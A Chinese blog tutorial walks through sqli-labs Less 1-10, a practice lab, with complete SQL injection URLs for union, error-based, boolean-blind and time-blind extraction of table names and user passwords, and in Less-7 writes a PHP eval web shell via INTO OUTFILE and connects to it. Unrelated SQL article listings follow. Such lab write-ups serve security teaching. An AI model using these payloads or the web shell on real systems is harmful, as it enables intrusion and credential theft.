代码编织梦想

sqli-labs教程——Less 1-10 Page-1 Basic Challenges

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

1. 判断是否有注入点

http://192.168.0.118:8000/sqli/Less-1/?id=11-1

2. 判断闭合字符

http://192.168.0.118:8000/sqli/Less-1/?id=1’

输入单引号,页面报错信息如下所示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

‘’ 1’ ’ LIMIT 0,1’

可以确定1’被’‘引用起来了,所以后台SQL语句对变量的引用符号是’’
1-2http://192.168.0.118:8000/sqli/Less-1/?id=1’ and 1=1 --+
1-3http://192.168.0.118:8000/sqli/Less-1/?id=1’ and 1=2 --+
1-4

3. 判断当前页面中sql语句的查询列数

http://192.168.0.118:8000/sqli/Less-1/?id=1’ order by 5 --+
1-5
经过尝试,正确的列数为3.
1-6

4. 判断数据在页面中的回显位置和sql语句中回显位

错误方法演示:

http://192.168.0.118:8000/sqli/Less-1/?id=1’ union select database(),user(),version() --+
1-7没有回显正常信息

修改id=-1,可以成功显示回显位。
1-8

5. 判断当前页面连接的数据库名称

http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select database(),database(),version() --+
1-9

6. 判断security数据库中的表名称信息

http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,table_name, 3 from information_schema.tables where table_schema=‘security’ --+
1-10也可以将security使用十六进制替换,这样不用对security添加单引号。

http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,table_name, 3 from information_schema.tables where table_schema=0x7365637572697479 --+

显示security数据库中的所有表名称信息

http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,group_concat(table_name,’~’),3 from information_schema.tables where table_schema=‘security’ --+
在这里插入图片描述

7. 判断users表的列名称信息

http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,group_concat(column_name,’~’),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+1-12

8. 查询users表的所有信息

http://192.168.0.118:8000/sqli/Less-1/?id=-1’ union select 1,group_concat(id,’’,username,’’,password),3 from security.users --+
1-13

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

1. 判断是否有注入点

http://192.168.101.13:8000/sqli/Less-2/?id=1
2-1

2. 判断闭合字符

输入单引号,页面报错信息如下所示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

LIMIT 0,1’

在提示中,未发现1被引用起来。

输入双引号,页面报错信息类似:’ " LIMIT 0,1 ’

由此可推,后台SQL语句对变量不存在引用符号
2-2

http://192.168.101.13:8000/sqli/Less-2/?id=1 and 1=1 --+
2-3

http://192.168.101.13:8000/sqli/Less-2/?id=1 and 1=2 --+
2-4

3. 判断当前页面中SQL语句的查询列数

通过order by语句,得到列数为3

http://192.168.101.13:8000/sqli/Less-2/?id=1 order by 3 --+
2-5

4. 判断数据在页面中的回显位置和SQL语句中回显位

修改id=-1,可以成功显示回显位。

http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select database(),user(),version() --+
2-6

5. 判断当前页面连接的数据库名称

http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,database(),version() --+
2-7

得到数据库名为:security

6. 判断数据库中的表名称信息

http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=‘security’–+
2-8

显示security数据库中的所有表名信息

http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,group_concat(table_name,’~’),3 from information_schema.tables where table_schema=‘security’ --+
2-9

7. 判断users表的列名称信息

http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,group_concat(column_name,’~’),3 from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
2-10

8. 查询users表的所有信息

http://192.168.101.13:8000/sqli/Less-2/?id=-1 union select 1,group_concat(id,’’,username,’’,password,’~’),3 from security.users --+
2-11

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

1. 判断是否有注入点

http://192.168.101.13:8000/sqli/Less-3/?id=1
3-1

2. 判断闭合字符

http://192.168.101.13:8000/sqli/Less-3/?id=1’

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1

’ ’ 1’ ‘) LIMIT 0,1’

可以确定1被单引号和括号引用起来,所以SQL语句对变量的引用符号是(‘’)
3-2

http://192.168.101.13:8000/sqli/Less-3/?id=1’) and 1=1–+
3-3
http://192.168.101.13:8000/sqli/Less-3/?id=1’) and 1=2–+
3-4

3. 判断当前页面中SQL语句的查询列数

通过order by语句,得到查询列数为3
3-5

4. 判断数据在页面中回显位置和SQL语句中回显位

http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select database(),user(),version() --+
3-6

5. 判断当前页面连接数据库名称

http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,database(),version() --+
3-7

得到数据库名称为:security

6. 显示security数据库中所有表名称信息

http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,group_concat(table_name,’~’),version() from information_schema.tables where table_schema=‘security’ --+
3-8

7. 判断users表的列名称信息

http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,group_concat(column_name,’~’),version() from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
3-9

8. 查询users表的所有信息

http://192.168.101.13:8000/sqli/Less-3/?id=-1’) union select 1,group_concat(id,’~’,username,’~’,password,’~’),version() from security.users --+
3-10

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

1. 判断是否有注入点

http://192.168.101.13:8000/sqli/Less-4/?id=1
4-1

2. 判断闭合字符

尝试使用双引号。

http://192.168.101.13:8000/sqli/Less-4/?id=1"

给出报错信息如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1

’ " 1" " ) LIMIT 0,1 ’

可以确定1被双引号和括号所引用起来了,所以后台SQL语句对变量的引用符号是(“”)
4-2

http://192.168.101.13:8000/sqli/Less-4/?id=1") and 1=1 --+
4-3

http://192.168.101.13:8000/sqli/Less-4/?id=1") and 1=2 --+
4-4

3. 判断当前页面中SQL语句的查询列数

通过order by语句,得到列数为3

http://192.168.101.13:8000/sqli/Less-4/?id=1") order by 3 --+
4-5

4. 判断数据在页面中回显位置和SQL语句中回显位

http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select database(),user(),version() --+
4-6

5. 判断当前页面连接的数据库名称

http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,database(),version() --+
4-7

6. 判断security数据库中的表名称信息

http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,group_concat(table_name,’~’),version() from information_schema.tables where table_schema=‘security’ --+
4-8

7. 判断users表的列名称信息

http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,group_concat(column_name,’~’),version() from information_schema.columns where table_name=‘users’ and table_schema=‘security’ --+
4-9

8. 查询users表的所有信息

http://192.168.101.13:8000/sqli/Less-4/?id=-1") union select 1,group_concat(id,’~’,username,’~’,password,’~’),version() from security.users --+
4-10

Less-5 GET - Double Injection - Single Quotes - String (双查询注入GET单引号字符型注入)

1. 判断是否有注入点

http://192.168.101.13:8000/sqli/Less-5/?id=1
5-1

2. 判断闭合字符

http://192.168.101.13:8000/sqli/Less-5/?id=1’

输入单引号,页面报错信息如下所示:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1

可以确定1’被单引号引用起来了,所以后台SQL语句对变量的引用符号是’’
5-2

http://192.168.101.13:8000/sqli/Less-5/?id=1’ and 1=1 --+
5-3

http://192.168.101.13:8000/sqli/Less-5/?id=1’ and 1=2 --+
5-4

页面返回只有正确和错误信息,没有任何可显示的位置的时候,首先想到可以尝试布尔注入、时间延迟盲注、报错型注入。本题根据题目要求使用双查询注入即报错型注入。

3. 判断当前页面连接的数据库名称

http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5-5

4. 判断security数据库中的表名称信息

http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5-6

修改limit 3,1,再次进行尝试。

http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5-7

5. 查询users表的列名称信息

http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5-8

获得到id列。

修改limit,可以尝试获得更多列名,最终得到:id、username、password列。

http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5-9

http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5-10

6. 查询users表的所有信息

http://172.20.10.9:8000/sqli/Less-5/?id=1’ and (select 1 from (select 1,count(*),concat(0x3a,(select concat_ws(’|’,id,username,password) from security.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
5-11

这里使用concat_ws,是concat的特殊形式,可以将多个字符连接成一个字符串,并且用分隔符进行分开。第一个参数为分隔符。

通过修改limit,可以查询用户信息,不再过多展示。

Less-6 GET - Double Injection - Double Quotes - String (双查询注入GET双引号字符型注入)

1. 判断是否有注入点

http://192.168.101.13:8000/sqli/Less-6/?id=1
6-1

2. 判断闭合字符

首先输入单引号,没有报错,没有形成闭合,结果如下:

http://192.168.101.13:8000/sqli/Less-6/?id=1’
6-2

输入双引号,报错结果如下:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘“1"” LIMIT 0,1’ at line 1

’ " 1" " LIMIT 0,1 ’

可以确定1”被双引号引用起来了,所以后台SQL语句对变量的引用符号是””6-3

http://192.168.101.13:8000/sqli/Less-6/?id=1" and 1=1 --+
6-4

http://192.168.101.13:8000/sqli/Less-6/?id=1" and 1=2 --+
6-5

页面返回只有正确和错误信息,没有任何可显示的位置的时候,可想到尝试布尔注入、时间延迟盲注、报错型注入。根据题目本次采用报错型注入(双查询)进行尝试。

3. 判断当前页面连接的数据库名称

http://192.168.101.13:8000/sqli/Less-6/?id=1" and(select 1 from (select 1,count(*),concat(0x3a,(select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6-6

由报错信息可以得知,数据库名称为security.

4. 判断security数据库中的表名称信息

http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6-7

修改concat函数中的SQL语句,实现报错型注入;修改limit,可以查看更多表名称。

http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6-8

当limit 3,1,可以查询到users表。

5. 查询users表的列名称信息

http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+6-9

http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 1,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6-10

http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select column_name from information_schema.columns where table_schema=‘security’ and table_name=‘users’ limit 2,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6-11

6. 查询users表的所有信息

http://192.168.101.13:8000/sqli/Less-6/?id=1" and (select 1 from (select 1,count(*),concat(0x3a,(select concat_ws(’|’,id,username,password) from security.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x)a) --+
6-12

这里使用concat_ws,是concat的特殊形式,可以将多个字符连接成一个字符串,并且用分隔符进行分开。第一个参数为分隔符。

通过修改limit,可以查询用户信息,不再过多展示。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

1. 判断是否有注入点

http://192.168.101.13:8000/sqli/Less-7/?id=1
7-1

2. 判断闭合字符

经过多次尝试,确定1被((‘’))所引用,如图所示:

http://192.168.101.13:8000/sqli/Less-7/?id=1’)) and 1=1–+
7-2

http://192.168.101.13:8000/sqli/Less-7/?id=1’)) and 1=2–+
7-3

3. 判断当前页面中SQL语句的查询列数

http://192.168.101.13:8000/sqli/Less-7/?id=1’)) order by 3 --+7-4

4. 写入一句话木马

各种默认路径:

  • Windows:
    • IIS: C:\inetpub\wwwroot
    • PHPstudy: C:\phpStudy\WWW
    • Xampp: C:\xampp\htdocs
  • linux:
    • Nginx: /usr/local/nginx/html、/home/wwwroot/default、/usr/share/nginx、/var/www/htm
    • Apache: /var/www/htm、/var/www/html/htdocs

构造查看路径语句:

http://192.168.101.13:8000/sqli/Less-7/?id=-1’)) union select 1,@@basedir,@@datadir --+
7-5

无法返回正确信息,直接尝试构造payload。

http://192.168.101.13:8000/sqli/Less-7/?id=-1’)) union select 1,2,’<?php @eval($_POST["c"]); ?>’ into outfile ‘C:\phpStudy\WWW\sqli\Less-7\7.php’ --+
7-6

要注意’<?php @eval($_POST["c"]); ?>’ 小心都使用单引号导致的闭合。

5. 验证木马文件

尝试访问7.php

http://192.168.101.13:8000/sqli/Less-7/7.php
7-7

当然也可以使用post传入参数。
7-8

成功访问,证明已经成功写入文件。

6. 使用菜刀进行连接

点击右键进行添加
7-9

地址为PHP一句话木马的地址,后面的口令是刚才一句话木马中的c。
7-10

7-11

完成注入。

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

1. 判断是否有注入点

http://192.168.101.13:8000/sqli/Less-8/?id=1
8-1

2. 判断闭合字符

http://192.168.101.13:8000/sqli/Less-8/?id=1’ and 1=1 --+8-2

http://192.168.101.13:8000/sqli/Less-8/?id=1’ and 1=2 --+
8-3

因页面已经不给报错信息,所以要进行尝试。当使用单引号,并且1=1和1=2返回的页面有差异,所以确定闭合符号为单引号。

3. 判断数据库名称长度

http://192.168.101.13:8000/sqli/Less-8/?id=1’ and length(database())=8 --+8-4

经尝试,数据库名称长度为8。

4. 判断数据库名称

首先来判断第一个字符。

进行字符提取的时候,大小写字符返回相同的结果,所以使用ASCII码来进行判断会更加准确。

http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring(database(),1,1))=115 --+8-5

可知数据库名称的第1个字符为 s

修改substring 的参数,来判断后续的字符

http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring(database(),2,1))=101 --+
8-6

以此类推得知数据库名称为:security。

5. 判断security数据库中的表名称信息

http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) =101 --+
8-7

数据库security第一个表的第一个字符的ASCII码为10,对应的字母为e,也就是emails表。

现在进行练习:

求解第4个表的第2个字符。

首先,查询第4个表名称信息:

Select table_name from information_schema.tables where table_schema=database() limit 3,1

再查询这个表的第2个字符:

Substring(table_name,2,1)

完整构造如下:

http://192.168.101.13:8000/sqli/Less-8/?id=1’ and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1)) =115 --+
8-8

经过尝试,第4个表的第2个字符对应的ASCII码是115,也就是字符 s

最终得到第4个表,就是users表。

6. 判断users表的列名称信息

http://192.168.101.14:8000/sqli/Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1)) =105 --+
8-9

获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。

http://172.20.10.9:8000/sqli/Less-8/?id=1’ and ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),2,1)) =115 --+8-10

获取到users表的第2个字段的第2个字符的ASCII码是115,对应的字母是s,也就是username列。

7. 查询users表的信息

http://172.20.10.9:8000/sqli/Less-8/?id=1’ and ascii(substring((select username from security.users limit 0,1),1,1)) =68 --+8-11

获取到username列的第1个字段的第1个字符的ASCII码是68,对应字母是D,也就是Dumb。

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

1. 判断是否有注入点

http://172.20.10.9:8000/sqli/Less-9/?id=1
9-1

2. 判断闭合字符

经过大致的尝试,’、’)、’))、”、”)、”)),页面都返回
9-2

此时考虑时间盲注

http://172.20.10.9:8000/sqli/Less-9/?id=1’ and sleep(3) --+
9-3

使用浏览器查看时间线,时间大于3秒,说明注入成功,闭合字符为单引号。

3. 判断数据库名称长度

http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(length(database())=8,sleep(3),0) --+
9-4

时间大于3秒,数据库长度为8。

4. 判断数据库名称

首先判断第一个字符

http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring(database(),1,1))=115,sleep(3),0) --+
9-5

可知数据库名称的第一个字符为 s

修改substring函数中的参数,来继续获取数据库名称的其他字符,最终得到数据库名称为:security。

5. 判断security数据库中的表名称信息

http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(3),0) --+
9-6

获得数据库security的第1个表的第1个字符的ASCII码为101,对应的字母为e,也就是emails表。

http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))=117,sleep(3),0) --+
9-7

获得数据库security的第4个表的第1个字符的ASCII码为117,对应字母为u,也就是users表。

6. 判断users表的列名称信息

http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1))=105,sleep(3),0) --+
9-8

获取到users表的第1个字段的第1个字符的ASCII码是105,对应的字母是i,也就是id列。修改limit和substring的参数,可以逐步获得users表的全部列信息:id、username、password。

7. 查询users表的信息

练习:获取username列的第2个字段的第3个字符的值:

http://192.168.101.14:8000/sqli/Less-9/?id=1’ and if(ascii(substring((select username from security.users limit 1,1),3,1))=103,sleep(3),0) --+
9-9

获取到的结果是g,对应的是Angelina。

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

1. 判断是否有注入点

http://192.168.101.12:8000/sqli/Less-10/?id=110-1

2. 判断闭合字符

经过大致的尝试,’、’)、’))、”、”)、”)),页面都返回
10-2

尝试使用时间注入

http://192.168.101.12:8000/sqli/Less-10/?id=1" and sleep(3) --+
10-3

使用浏览器查看时间线,时间大于3秒,说明注入成功,闭合字符为双引号。

3. 判断数据库名称长度

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(length(database())=8,sleep(3),0) --+
10-4

时间大于3秒,数据库长度为8。

4. 判断数据库名称

在less-9中,主要是围绕着ascii函数和substring函数进行展开,这次尝试使用left函数。

首先判断第一个字符

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left(database(),1)=‘s’,sleep(3),0) --+
10-5

可知数据库名称的第一个字符为s

因上一步已经知道数据库长度为8,猜测数据库名称为security,并进行验证。

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left(database(),8)=‘security’,sleep(3),0) --+
10-6

5. 判断security数据库中的表名称信息

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=‘e’,sleep(3),0) --+
10-7

获得数据库security的第1个表的第1个字符为e,对应的字母为e,也就是emails表。

此处偷懒,直接查找users表。

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)=‘users’,sleep(3),0) --+
10-8

在第4个表,爆破到users表。

6. 判断users表的列名称信息

此处偷懒,直接定向破解username和password

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1),8)=‘username’, sleep(3), 0) --+10-9

Username列名爆破成功。

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1),8)=‘password’,sleep(3),0) --+10-10

Password列名爆破成功。

7. 查询users表的信息

练习:获取username列的第2个字段名称

此处偷懒,直接使用Angelina进行爆破

http://192.168.101.12:8000/sqli/Less-10/?id=1" and if(left((select username from security.users limit 1,1),8)=‘Angelina’,sleep(3),0) --+
10-11

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/qq_25649867/article/details/111020393

DBeaver连接mysql 8+版本实践踩坑-爱代码爱编程

转载于: https://blog.csdn.net/miaowangxing/article/details/107927793 目录 版本选择Public Key Retrieval is not allowedAccess denied for user 'root'@'localhost' (using password: YES)server

事务-爱代码爱编程

什么叫做事务呢 就是同时可以执行多个语句 一旦有一个错误 就不能运行下去 。 事务四大特性(简称ACID) 原子性(Atomicity) 一致性(Consistency) 隔离性(Isolation) 持久性(Durability) 例如我们需要做一些批量的操作并且同时执行 如果我们用其他方法 例如判断的话 那么就回一直判断 如果数据多的话 那么就有可能出

异数OS 开放式闭源继承人协议-爱代码爱编程

文章目录 异数OS 开放式闭源继承人协议背景开放式闭源继承人协议(公约大纲)异数OS 开放式闭源继承人协议(开拓者继承契约)协议草定:相关解释:异数OS 开放式闭源继承人协议(最终用户继承契约)协议草定:相关解释: 异数OS 开放式闭源继承人协议 背景 中国大部分的程序员是悲剧的,他们大多数人中年轻时怀有梦想,但当梦醒时才发现自己原来一无所

秋招面试知识点----数据库篇-爱代码爱编程

B树 B树相对于平衡二叉树的不同是,每个节点包含的关键字增多了,特别是在B树应用到数据库中的时候,数据库充分利用了磁盘块的原理就是局部i性的思想,装入部分就可以执行, 在B树的基础上每个节点存储的关键字数更多,树的层级更少所以查询数据更快,所有指关键字指针都存在叶子节点,所以每次查找的次数都相同所以查询速度更稳定; mysql B+ 1)B+跟B树不

mybatis-config.xml (mybatis核心配置文件)-爱代码爱编程

mybatis-config.xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC "-//mybatis.org//DTD Config 3.0//EN" "http://mybatis.org/dtd/my

SQL 预订座位-爱代码爱编程

元旦假期就快到了,计划出去玩的朋友,都订好票了么? 今天,我们用 SQL 模拟订座的场景。 seats 是座位预订表,表结构如下: CREATE TABLE `seats` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `row_no` int DEFAULT NULL COMMENT '第几排',

mysql基础(4)_字符集-爱代码爱编程

字符编码概念 字符(Character)是各种文字和符号的总称,包括各国家文字、标点符号、图形符号、数学等。 在计算机中所看到的任何内容都是字符构成的。 字符编码(character code):是计算机针对各种符号,在计算机中的一种二进制存储代号 字符集概念 字符集(character set):是多个字符的集合,字符集种类较多,每个字符集包含的字符

LeetCode-销售员-爱代码爱编程

17.销售员 链接:https://leetcode-cn.com/problems/sales-person/ select salesperson.name from salesperson where name not in( select name from salesperson s left join orders o on s.sale

sql面试题-爱代码爱编程

最近盆友给分享了几道sql的面试题,然后就写了下sql #表一: create table user_app( userid VARCHAR(20), appname VARCHAR(50), usernum BIGINT, #使用次数 visit VARCHAR(20)); #访问天 #表二: create table `user`( userid

SQL 预订座位-爱代码爱编程

元旦假期就快到了,计划出去玩的朋友,都订好票了么? 今天,我们用 SQL 模拟订座的场景。 seats 是座位预订表,表结构如下: CREATE TABLE `seats` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `row_no` int DEFAULT NULL COMMENT '第几排',

大数据学习 HIVE-爱代码爱编程

学习目标: Hive查询练习 学习内容: 提示:这里可以添加要学的内容 例如: 1、查询"01"课程比"02"课程成绩高的学生的信息及课程分数 2、查询平均成绩大于等于60分的同学的学生编号和学生姓名和平均成绩 3、查询所有同学的学生编号、学生姓名、选课总数、所有课程的总成绩 4、查询学过"张三"老师授课的同学的信息 5、查询没学过"张三"老师授课的

MySQL索引的相关介绍-爱代码爱编程

MySQL索引 一、索引介绍二、创建表的同时创建索引三、使用alter在已经存在的表上创建索引四、使用create创建索引五、删除索引六、使用SQLAdvisor工具优化索引 一、索引介绍 索引是对数据库表中一列或者多列的值进行排序的一种结构,使用索引可提高数据库中特定数据的查询速度。 索引是一个单独的、存储在磁盘上的数据库结构,它们包含着对